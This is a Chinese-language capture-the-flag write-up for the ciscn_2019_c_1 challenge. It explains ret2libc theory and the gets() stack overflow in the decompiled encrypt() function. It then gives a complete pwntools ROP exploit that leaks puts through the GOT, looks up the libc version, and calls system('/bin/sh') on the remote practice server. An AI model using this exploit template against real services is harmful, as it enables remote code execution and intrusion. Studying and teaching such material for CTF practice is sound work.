ciscn_2019_c_1 中 ROP ret2libc EXP 复现

ret2libc简介

ret2libc就是控制函数的执行libc中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下，我们会选择执行 system("/bin/sh")，因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类：

程序中自身就含有system函数和"/bin/sh"字符串
程序中自身就有system函数，但是没有"/bin/sh"字符串
程序中自身就没有system函数和"/bin/sh"字符串，但给出了libc.so文件
程序中自身就没有system函数和"/bin/sh"字符串，并且没有给出libc.so文件

基本思路

 无论在什么情况下，我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址，只有这样才能执行系统函数，拿到shell；
 当程序中没有"/bin/sh"字符串时，我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中，并且要可以找到其地址；
 对于给出了libc.so文件的程序，我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串，因为libc.so文件中也是包含这些了的；
 最后对于没有给出libc.so文件的程序，我们可以通过泄露出程序当中的某个函数的地址，通过查询来找出其使用lib.so版本是哪一个

PLT表和GOT表

在程序第一次运行程序时，程序会到plt表中查找函数地址，找不到相应的函数地址，就会到got表中去找相应的函数，找到了过后，就会将got表中的函数地址保存在plt表中，第二次运行程序是，直接调用函数是就会跳转到plt表中执行函数

开启了NX保护，绕过通常要进入到函数里面，因为你在非法溢出后cpu会抛出异常阻止你的下一步攻击，拖进IDA看看

main 函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machinen");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

在这里面只是发现了两个函数调用，跟进一下看看

encrpt()

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF		#栈帧位置要注意
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);			#很明显的就是这个位置存在栈溢出
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

begin

int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}

然后查询一下有没有我们需要的关键函数

发现并没有存在system或/bin/sh，所以这里考虑的就是通过地址泄露找libc版本，然后通过libc库调用system(/bin/sh)。

注意：system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。

也就是说可以通过泄露出某个函数的地址，减去在libc中的相对偏移，就能得到libc的基址，利用system的相对偏移就可以找到system函数。这里利用了puts函数。

为了得到libc中函数的地址，我们用的是got表泄露。涉及到got表与plt表的关系，大家可以去这里看一下。

EXP

exp是借鉴别人的，注释是我自己的理解，如果有不对请大佬们留言指正

from pwn import *
from LibcSearcher import *

content = 0
context(os='linux', arch='amd64', log_level='debug')

ret = 0x4006b9      #靶机是ubuntu，所以需要栈平衡，ret地址平衡
elf = ELF('ciscn_2019_c_1')

puts_plt = elf.plt["puts"] 
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]

pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi；ret，ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"


def main():
	if content == 1:
		p = process('ciscn_2019_c_1')
	else:	
		p = remote('node4.buuoj.cn',25727)

	payload = b'' + b'a' * (0x50 - 1+ 8) #rbo为0x50，-1为了填充前面的 
	payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)		#payload=rbp栈帧+8/4（根据系统位数） + rdi_ret address （堆栈平衡） + got表地址，按照实际情况这里是泄露puts函数地址 + plt 表地址 + main 函数地址 
	# print(payload)	#打印payload是什么

	p.sendlineafter('Input your choice!n', '1')        #先选择进入加密函数 
	p.sendlineafter('Input your Plaintext to be encryptedn', payload)      #再发送payload

	p.recvuntil('Ciphertextn')	
	p.recvline()    #接受一行数据
	puts_addr = u64(p.recv(8)[:-2].ljust(8,b'x00'))  #64位大部分rop泄露函数地址可以用到的语句u64(p.recvuntil("x7f")[-6:].ljust(8, "x00"))，32位addr = u32(p.recvuntil("xf7")[-4:])
	print(puts_addr)      #找出puts的地址

	libc = LibcSearcher('puts', puts_addr)		#获取Libc版本

	libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量，获取基地址
	system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址，偏移
	binsh_addr  = libc_base + libc.dump('str_bin_sh')	#通过system函数调用/bin/sh

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)  #先进行溢出，在栈平衡，

	p.sendlineafter('Input your choice!n', '1')
	p.sendlineafter('Input your Plaintext to be encryptedn', payload)

	p.interactive()

main()